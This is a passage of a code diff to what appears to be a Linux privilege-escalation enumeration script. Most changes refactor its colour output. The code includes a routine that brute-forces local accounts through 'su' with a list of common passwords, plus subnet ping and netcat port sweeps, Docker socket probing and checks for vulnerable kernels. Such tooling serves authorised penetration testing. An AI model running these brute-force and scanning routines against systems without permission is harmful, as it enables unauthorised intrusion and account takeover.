"$CMDLINE"; - fi; + if [ "$CMDLINE" ]; + then USER2=ls -ld $f | awk '{print $3}'; PID=`echo $f | cut -d "/" -f3`; + printf " %-13s %-8s %s\n" "$USER2" "$PID" "$CMDLINE"; + fi; done) 2>/dev/null | sort -r } su_try_pwd (){ BFUSER=$1 PASSWORDTRY=$2 - trysu=`echo "$PASSWORDTRY" | timeout 1 su $BFUSER -c whoami 2>/dev/null` + trysu=`echo "$PASSWORDTRY" | timeout 1 su $BFUSER -c whoami 2>/dev/null` if [ "$trysu" ]; then - echo " You can login as $BFUSER using password: $PASSWORDTRY" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m," + echo " You can login as $BFUSER using password: $PASSWORDTRY" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi } @@ -536,7 +624,7 @@ su_brute_user_num (){ if [ "$PASSWORD" ]; then su_try_pwd $BFUSER $PASSWORD & #Try given password fi - for i in `seq $TRIES`; do + for i in `seq $TRIES`; do su_try_pwd $BFUSER `echo $top2000pwds | cut -d " " -f $i` & #Try TOP TRIES of passwords (by default 2000) sleep 0.007 # To not overload the system done @@ -547,7 +635,7 @@ check_if_su_brute(){ error=$(echo "" | timeout 1 su `whoami` -c whoami 2>&1); if [ ! "`echo $error | grep "must be run from a terminal"`" ]; then echo "1" - fi + fi } eval_bckgrd(){ @@ -581,7 +669,7 @@ check_dns(){ # Adapted from https://github.com/carlospolop/bashReconScan/blob/master/brs.sh basic_net_info(){ - printf $B"═══════════════════════════╣ "$GREEN"Basic Network Info"$B" ╠═════════════════════════════\n"$NC + print_title "Basic Network Info" (ifconfig || ip a) 2>/dev/null echo "" } @@ -592,19 +680,19 @@ select_nc (){ $($FOUND_NC 127.0.0.1 65321 > /dev/null 2>&1) if [ $? -eq 2 ] then - NC_SCAN="timeout 1 $FOUND_NC -v -n" + NC_SCAN="timeout 1 $FOUND_NC -v -n" fi } icmp_recon (){ #Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses) IP3=$(echo $1 | cut -d "." -f 1,2,3) - - (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${C}[1;31m&${C}[0m,") & - (timeout 1 ping -b -c 1 "255.255.255.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${C}[1;31m&${C}[0m,") & + + (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & + (timeout 1 ping -b -c 1 "255.255.255.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & for j in $(seq 0 254) do - (timeout 1 ping -b -c 1 "$IP3.$j" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${C}[1;31m&${C}[0m,") & + (timeout 1 ping -b -c 1 "$IP3.$j" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & done wait } @@ -613,13 +701,13 @@ tcp_recon (){ #Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones IP3=$(echo $1 | cut -d "." -f 1,2,3) PORTS=$2 - printf $Y"[+]$B Ports going to be scanned: $PORTS" $NC | tr '\n' " " + printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " printf "$NC\n" for port in $PORTS; do for j in $(seq 1 254) - do - ($NC_SCAN $IP3.$j $port 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${C}[1;31m&${C}[0m,g") & + do + ($NC_SCAN $IP3.$j $port 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & done wait done @@ -629,22 +717,22 @@ tcp_port_scan (){ #Scan open ports of a host. Default: nmap top 1000, but the user can select others basic_net_info - printf $B"═══════════════════════════════════╣ "$GREEN"Network Port Scanning"$B" ╠═══════════════════════════════════\n"$NC + print_title "Network Port Scanning" IP=$1 PORTS="$2" PORTS="`echo \"$PORTS\" | tr ',' ' '`" if [ -z "$PORTS" ]; then - printf $Y"[+]$B Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " " + printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " " printf "$NC\n" PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389" else - printf $Y"[+]$B Ports going to be scanned: $PORTS" $NC | tr '\n' " " + printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " printf "$NC\n" fi for port in $PORTS; do - ($NC_SCAN $IP $port 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${C}[1;31m&${C}[0m,g") & + ($NC_SCAN $IP $port 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & done wait } @@ -653,32 +741,32 @@ discover_network (){ #Check if IP and Netmask are correct and the use fping or ping to find hosts basic_net_info - printf $B"════════════════════════════════════╣ "$GREEN"Network Discovery"$B" ╠════════════════════════════════════\n"$NC + print_title "Network Discovery" DISCOVERY=$1 IP=$(echo $DISCOVERY | cut -d "/" -f 1) NETMASK=$(echo $DISCOVERY | cut -d "/" -f 2) - + if [ -z $IP ] || [ -z $NETMASK ]; then printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24"$NC; - printf $B"$HELP"$NC; + printf ${BLUE}"$HELP"$NC; exit 0 fi #Using fping if possible - if [ "$FPING" ]; then - $FPING -a -q -g $DISCOVERY | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - + if [ "$FPING" ]; then + $FPING -a -q -g $DISCOVERY | sed -${E} "s,.*,${SED_RED}," + #Loop using ping else if [ $NETMASK -eq "24" ]; then - printf $Y"[+]$GREEN Netmask /24 detected, starting...\n$NC" + printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n$NC" icmp_recon $IP - + elif [ $NETMASK -eq "16" ]; then - printf $Y"[+]$GREEN Netmask /16 detected, starting...\n$NC" + printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n$NC" for i in $(seq 1 254) - do + do NEWIP=$(echo $IP | cut -d "." -f 1,2).$i.1 icmp_recon $NEWIP done @@ -693,20 +781,20 @@ discovery_port_scan (){ basic_net_info #Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389 - printf $B"═══════════════════════════╣ "$GREEN"Network Discovery (scanning ports)"$B" ╠═════════════════════════════\n"$NC + print_title "Network Discovery (scanning ports)" DISCOVERY=$1 MYPORTS=$2 IP=$(echo $DISCOVERY | cut -d "/" -f 1) NETMASK=$(echo $DISCOVERY | cut -d "/" -f 2) echo "Scanning: $DISCOVERY" - + if [ -z "$IP" ] || [ -z "$NETMASK" ] || [ "$IP" = "$NETMASK" ]; then printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24\n"$NC; if [ "$IP" = "$NETMASK" ]; then - printf $RED"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: $Y-i [-p ]\n\n"$NC; + printf $RED"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: ${YELLOW}-i [-p ]\n\n"$NC; fi - printf $B"$HELP"$NC; + printf ${BLUE}"$HELP"$NC; exit 0 fi @@ -714,13 +802,13 @@ discovery_port_scan (){ PORTS=`echo "$PORTS" | tr " " "\n" | sort -u` #Delete repetitions if [ "$NETMASK" -eq "24" ]; then - printf $Y"[+]$GREEN Netmask /24 detected, starting...\n" $NC + printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n" $NC tcp_recon $IP "$PORTS" - + elif [ "$NETMASK" -eq "16" ]; then - printf $Y"[+]$GREEN Netmask /16 detected, starting...\n" $NC + printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n" $NC for i in $(seq 0 255) - do + do NEWIP=$(echo $IP | cut -d "." -f 1,2).$i.1 tcp_recon $NEWIP "$PORTS" done @@ -756,7 +844,7 @@ containerCheck() { grep "/docker/" /proc/1/cgroup -qa 2>/dev/null || grep -qai docker /proc/self/cgroup 2>/dev/null || [ "`find / -maxdepth 3 -name \"*dockerenv*\" -exec ls -la {} \; 2>/dev/null`" ] ; then - + inContainer="1" containerType="docker" fi @@ -772,12 +860,28 @@ containerCheck() { fi # Are we inside LXC? - if env | grep "container=lxc" -qa 2>/dev/null || + if env | grep "container=lxc" -qa 2>/dev/null || grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then - + inContainer="1" containerType="lxc" fi + + # Are we inside podman? + if env | grep -qa "container=podman" 2>/dev/null || + grep -qa "container=podman" /proc/1/environ 2>/dev/null; then + + inContainer="1" + containerType="podman" + fi + + # Check for other container platforms that report themselves in PID 1 env + if [ -z "$inContainer" ]; then + if grep -a 'container=' /proc/1/environ 2>/dev/null; then + inContainer="1" + containerType="`grep -a 'container=' /proc/1/environ | cut -d= -f2`" + fi + fi } inDockerGroup() { @@ -799,26 +903,26 @@ enumerateDockerSockets() { if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then SEARCHED_DOCKER_SOCKETS="1" for dock_sock in `find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null`; do - if [ -w "$dock_sock" ]; then - echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${C}[1;31;103m&${C}[0m,g" + if ! [ "$IAMROOT" ] && [ -w "$dock_sock" ]; then + echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" echo "Docker enummeration:" docker_enumerated="" - + if [ "$(command -v curl)" ]; then sockInfoResponse="`curl -s --unix-socket \"$dockerSockPath\" http://localhost/info`" dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi fi - + if [ "$(command -v docker)" ] and ![ "$docker_enumerated" ]; then sockInfoResponse="`docker info`" dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4) printf $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' fi - + else - echo "You don't have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${C}[1;32m&${C}[0m,g" + echo "You don't have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_GREEN},g" fi done fi @@ -857,29 +961,29 @@ checkContainerExploits() { #-----------) Some Basic Info (-----------# ########################################### -printf $B"════════════════════════════════════╣ "$GREEN"Basic information"$B" ╠════════════════════════════════════\n"$NC +print_title "Basic information" printf $LG"OS: "$NC -(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel5_1,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel5_2,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel5_3,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel6_1,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel6_2,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel6_3,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel6_4,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelDCW_Rhel7,${C}[1;31;103m&${C}[0m," | sed -${E} "s,$kernelB,${C}[1;31m&${C}[0m," +(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," printf $LG"User & Groups: "$NC -(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$groupsVB,${C}[1;31;103m&${C}[0m,g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m,g" | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m,g" | sed -${E} "s,$knw_grps,${C}[1;32m&${C}[0m,g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$idB,${C}[1;31m&${C}[0m,g" +(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m,g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed "s,$USER,${C}[1;95m&${C}[0m,g" | sed -${E} "s,$idB,${SED_RED},g" printf $LG"Hostname: "$NC hostname 2>/dev/null printf $LG"Writable folder: "$NC; echo $Wfolder if [ "$DISCOVER_BAN_GOOD" ]; then - printf $Y"[+] $DISCOVER_BAN_GOOD\n"$NC + printf ${YELLOW}"[+] $DISCOVER_BAN_GOOD\n"$NC else printf $RED"[-] $DISCOVER_BAN_BAD\n"$NC fi if [ "$SCAN_BAN_GOOD" ]; then - printf $Y"[+] $SCAN_BAN_GOOD\n"$NC + printf ${YELLOW}"[+] $SCAN_BAN_GOOD\n"$NC else printf $RED"[-] $SCAN_BAN_BAD\n"$NC fi if [ "`command -v nmap 2>/dev/null`" ];then - NMAP_GOOD=$GREEN"nmap$B is available for network discover & port scanning, you should use it yourself" - printf $Y"[+] $NMAP_GOOD\n"$NC + NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discover & port scanning, you should use it yourself" + printf ${YELLOW}"[+] $NMAP_GOOD\n"$NC fi echo "" echo "" @@ -891,7 +995,7 @@ if [ "$PORTS" ]; then if [ "$SCAN_BAN_GOOD" ]; then if [ "`echo -n $PORTS | sed 's,[0-9, ],,g'`" ]; then printf $RED"[-] Err: Symbols detected in the port, for discovering purposes select only 1 port\n"$NC; - printf $B"$HELP"$NC; + printf ${BLUE}"$HELP"$NC; exit 0 else #Select the correct configuration of the netcat found @@ -899,10 +1003,10 @@ if [ "$PORTS" ]; then fi else printf $RED" Err: Port scan not possible, any netcat in PATH\n"$NC; - printf $B"$HELP"$NC; + printf ${BLUE}"$HELP"$NC; exit 0 fi -fi +fi if [ "$DISCOVERY" ]; then if [ "$PORTS" ]; then @@ -917,7 +1021,7 @@ if [ "$DISCOVERY" ]; then exit 0 elif [ "$IP" ]; then - select_nc + select_nc tcp_port_scan $IP "$PORTS" exit 0 fi @@ -927,170 +1031,148 @@ if [ "`echo $CHECKS | grep ProCronSrvcsTmrsSocks`" ] || [ "`echo $CHECKS | grep ########################################### #----------) Caching Finds (--------------# ########################################### - - prep_to_find() { - echo "$1" | sed 's/ /" -o -name "/g' | sed 's/^/ -name "/g' | sed 's/$/" /g' - } - printf $GREEN"Caching directories using$Y $THREADS$GREEN threads "$NC - SYSTEMD_RELEVANT_NAMES="*.service" - TIMERS_RELEVANT_NAMES="*.timer" - SOCKETS_RELEVANT_NAMES="*.socket" - DBUS_RELEVANT_NAMES="system.d session.d" - - MYSQL_RELEVANT_NAMES="mysql" - 